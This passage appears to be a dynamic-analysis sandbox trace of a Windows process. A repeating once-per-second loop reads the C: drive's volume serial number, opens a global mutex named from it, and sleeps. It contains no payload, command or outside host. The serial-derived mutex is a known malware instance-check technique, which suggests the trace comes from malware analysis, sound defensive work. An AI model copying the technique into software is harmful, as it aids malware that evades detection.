returned 0x564280 [0196.037] GetProcessHeap () returned 0x550000 [0196.037] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0196.037] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x178 [0196.037] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x0) returned 0x102 [0196.037] CloseHandle (hObject=0x178) returned 1 [0196.038] GetProcessHeap () returned 0x550000 [0196.038] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0196.038] GetProcessHeap () returned 0x550000 [0196.038] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0196.038] Sleep (dwMilliseconds=0x3e8) [0197.333] GetProcessHeap () returned 0x550000 [0197.333] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a470 [0197.334] GetProcessHeap () returned 0x550000 [0197.334] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a498 [0197.334] GetProcessHeap () returned 0x550000 [0197.334] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a4c0 [0197.334] GetProcessHeap () returned 0x550000 [0197.334] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0197.334] GetProcessHeap () returned 0x550000 [0197.334] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0197.334] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a498, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0197.334] GetProcessHeap () returned 0x550000 [0197.334] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0197.334] GetProcessHeap () returned 0x550000 [0197.334] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a470 | out: hHeap=0x550000) returned 1 [0197.334] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0197.335] GetProcessHeap () returned 0x550000 [0197.335] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a498 | out: hHeap=0x550000) returned 1 [0197.335] GetProcessHeap () returned 0x550000 [0197.335] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0197.335] GetProcessHeap () returned 0x550000 [0197.335] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0197.335] GetProcessHeap () returned 0x550000 [0197.335] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0197.335] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a4 [0197.335] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x102 [0197.335] CloseHandle (hObject=0x1a4) returned 1 [0197.335] GetProcessHeap () returned 0x550000 [0197.335] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0197.336] GetProcessHeap () returned 0x550000 [0197.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0197.336] Sleep (dwMilliseconds=0x3e8) [0198.633] GetProcessHeap () returned 0x550000 [0198.633] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a498 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a470 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a4c0 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0198.633] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a470, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a498 | out: hHeap=0x550000) returned 1 [0198.633] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a470 | out: hHeap=0x550000) returned 1 [0198.633] GetProcessHeap () returned 0x550000 [0198.633] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0198.634] GetProcessHeap () returned 0x550000 [0198.634] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0198.634] GetProcessHeap () returned 0x550000 [0198.634] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0198.634] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a4 [0198.634] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x102 [0198.634] CloseHandle (hObject=0x1a4) returned 1 [0198.634] GetProcessHeap () returned 0x550000 [0198.634] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0198.634] GetProcessHeap () returned 0x550000 [0198.634] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0198.634] Sleep (dwMilliseconds=0x3e8) [0199.642] GetProcessHeap () returned 0x550000 [0199.643] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a470 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a498 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a4c0 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0199.643] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a498, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a470 | out: hHeap=0x550000) returned 1 [0199.643] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a498 | out: hHeap=0x550000) returned 1 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0199.643] GetProcessHeap () returned 0x550000 [0199.643] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0199.643] GetProcessHeap () returned 0x550000 [0199.644] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0199.644] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x178 [0199.644] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x0) returned 0x102 [0199.644] CloseHandle (hObject=0x178) returned 1 [0199.644] GetProcessHeap () returned 0x550000 [0199.644] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0199.644] GetProcessHeap () returned 0x550000 [0199.644] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0199.644] Sleep (dwMilliseconds=0x3e8) [0200.769] GetProcessHeap () returned 0x550000 [0200.769] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a498 [0200.769] GetProcessHeap () returned 0x550000 [0200.769] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a470 [0200.769] GetProcessHeap () returned 0x550000 [0200.769] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a4c0 [0200.769] GetProcessHeap () returned 0x550000 [0200.769] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0200.769] GetProcessHeap () returned 0x550000 [0200.769] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0200.769] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a470, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0200.769] GetProcessHeap () returned 0x550000 [0200.769] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0200.769] GetProcessHeap () returned 0x550000 [0200.769] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a498 | out: hHeap=0x550000) returned 1 [0200.769] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0200.770] GetProcessHeap () returned 0x550000 [0200.770] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a470 | out: hHeap=0x550000) returned 1 [0200.770] GetProcessHeap () returned 0x550000 [0200.770] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0200.770] GetProcessHeap () returned 0x550000 [0200.770] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0200.770] GetProcessHeap () returned 0x550000 [0200.770] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0200.770] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0200.770] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0200.770] CloseHandle (hObject=0x1c0) returned 1 [0200.770] GetProcessHeap () returned 0x550000 [0200.770] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0200.771] GetProcessHeap () returned 0x550000 [0200.771] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0200.771] Sleep (dwMilliseconds=0x3e8) [0202.108] GetProcessHeap () returned 0x550000 [0202.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a470 [0202.108] GetProcessHeap () returned 0x550000 [0202.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a498 [0202.108] GetProcessHeap () returned 0x550000 [0202.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a4c0 [0202.108] GetProcessHeap () returned 0x550000 [0202.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0202.108] GetProcessHeap () returned 0x550000 [0202.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0202.108] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a498, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0202.108] GetProcessHeap () returned 0x550000 [0202.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0202.108] GetProcessHeap () returned 0x550000 [0202.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a470 | out: hHeap=0x550000) returned 1 [0202.108] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0202.109] GetProcessHeap () returned 0x550000 [0202.109] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a498 | out: hHeap=0x550000) returned 1 [0202.109] GetProcessHeap () returned 0x550000 [0202.109] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0202.109] GetProcessHeap () returned 0x550000 [0202.109] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0202.109] GetProcessHeap () returned 0x550000 [0202.109] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0202.109] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x178 [0202.109] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x0) returned 0x102 [0202.109] CloseHandle (hObject=0x178) returned 1 [0202.109] GetProcessHeap () returned 0x550000 [0202.109] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0202.109] GetProcessHeap () returned 0x550000 [0202.109] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0202.109] Sleep (dwMilliseconds=0x3e8) [0203.358] GetProcessHeap () returned 0x550000 [0203.358] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a4c0 [0203.358] GetProcessHeap () returned 0x550000 [0203.358] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a4e8 [0203.358] GetProcessHeap () returned 0x550000 [0203.358] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0203.358] GetProcessHeap () returned 0x550000 [0203.359] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0203.359] GetProcessHeap () returned 0x550000 [0203.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0203.359] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a4e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0203.359] GetProcessHeap () returned 0x550000 [0203.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0203.359] GetProcessHeap () returned 0x550000 [0203.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0203.359] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0203.359] GetProcessHeap () returned 0x550000 [0203.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4e8 | out: hHeap=0x550000) returned 1 [0203.359] GetProcessHeap () returned 0x550000 [0203.359] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0203.359] GetProcessHeap () returned 0x550000 [0203.360] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0203.360] GetProcessHeap () returned 0x550000 [0203.360] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0203.360] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0203.360] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0203.360] CloseHandle (hObject=0x1cc) returned 1 [0203.360] GetProcessHeap () returned 0x550000 [0203.360] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0203.360] GetProcessHeap () returned 0x550000 [0203.360] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0203.360] Sleep (dwMilliseconds=0x3e8) [0204.574] GetProcessHeap () returned 0x550000 [0204.574] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a4c0 [0204.574] GetProcessHeap () returned 0x550000 [0204.574] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0204.574] GetProcessHeap () returned 0x550000 [0204.574] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a538 [0204.574] GetProcessHeap () returned 0x550000 [0204.574] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0204.574] GetProcessHeap () returned 0x550000 [0204.574] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0204.574] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0204.574] GetProcessHeap () returned 0x550000 [0204.574] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0204.574] GetProcessHeap () returned 0x550000 [0204.574] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0204.574] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0204.575] GetProcessHeap () returned 0x550000 [0204.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0204.575] GetProcessHeap () returned 0x550000 [0204.575] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0204.575] GetProcessHeap () returned 0x550000 [0204.575] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0204.575] GetProcessHeap () returned 0x550000 [0204.575] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb10 [0204.575] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x17c [0204.575] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0204.575] CloseHandle (hObject=0x17c) returned 1 [0204.575] GetProcessHeap () returned 0x550000 [0204.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0204.575] GetProcessHeap () returned 0x550000 [0204.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb10 | out: hHeap=0x550000) returned 1 [0204.575] Sleep (dwMilliseconds=0x3e8) [0205.729] GetProcessHeap () returned 0x550000 [0205.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0205.729] GetProcessHeap () returned 0x550000 [0205.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a4c0 [0205.729] GetProcessHeap () returned 0x550000 [0205.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a538 [0205.729] GetProcessHeap () returned 0x550000 [0205.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0205.729] GetProcessHeap () returned 0x550000 [0205.729] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0205.729] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a4c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.729] GetProcessHeap () returned 0x550000 [0205.729] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0205.729] GetProcessHeap () returned 0x550000 [0205.729] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0205.729] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.730] GetProcessHeap () returned 0x550000 [0205.730] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0205.730] GetProcessHeap () returned 0x550000 [0205.730] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0205.730] GetProcessHeap () returned 0x550000 [0205.730] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0205.730] GetProcessHeap () returned 0x550000 [0205.730] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0205.730] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x17c [0205.730] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0205.730] CloseHandle (hObject=0x17c) returned 1 [0205.730] GetProcessHeap () returned 0x550000 [0205.731] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0205.731] GetProcessHeap () returned 0x550000 [0205.731] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0205.731] Sleep (dwMilliseconds=0x3e8) [0206.898] GetProcessHeap () returned 0x550000 [0206.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a4c0 [0206.898] GetProcessHeap () returned 0x550000 [0206.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0206.898] GetProcessHeap () returned 0x550000 [0206.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a538 [0206.898] GetProcessHeap () returned 0x550000 [0206.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0206.899] GetProcessHeap () returned 0x550000 [0206.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0206.899] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0206.899] GetProcessHeap () returned 0x550000 [0206.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0206.899] GetProcessHeap () returned 0x550000 [0206.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0206.899] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0206.899] GetProcessHeap () returned 0x550000 [0206.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0206.899] GetProcessHeap () returned 0x550000 [0206.899] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0206.899] GetProcessHeap () returned 0x550000 [0206.899] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0206.899] GetProcessHeap () returned 0x550000 [0206.899] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0206.899] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x178 [0206.899] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x0) returned 0x102 [0206.900] CloseHandle (hObject=0x178) returned 1 [0206.900] GetProcessHeap () returned 0x550000 [0206.900] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0206.900] GetProcessHeap () returned 0x550000 [0206.900] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0206.900] Sleep (dwMilliseconds=0x3e8) [0207.997] GetProcessHeap () returned 0x550000 [0207.997] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0207.997] GetProcessHeap () returned 0x550000 [0207.997] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0207.997] GetProcessHeap () returned 0x550000 [0207.997] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a4c0 [0207.997] GetProcessHeap () returned 0x550000 [0207.997] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0207.997] GetProcessHeap () returned 0x550000 [0207.998] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0207.998] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0207.998] GetProcessHeap () returned 0x550000 [0207.998] HeapFree (in: 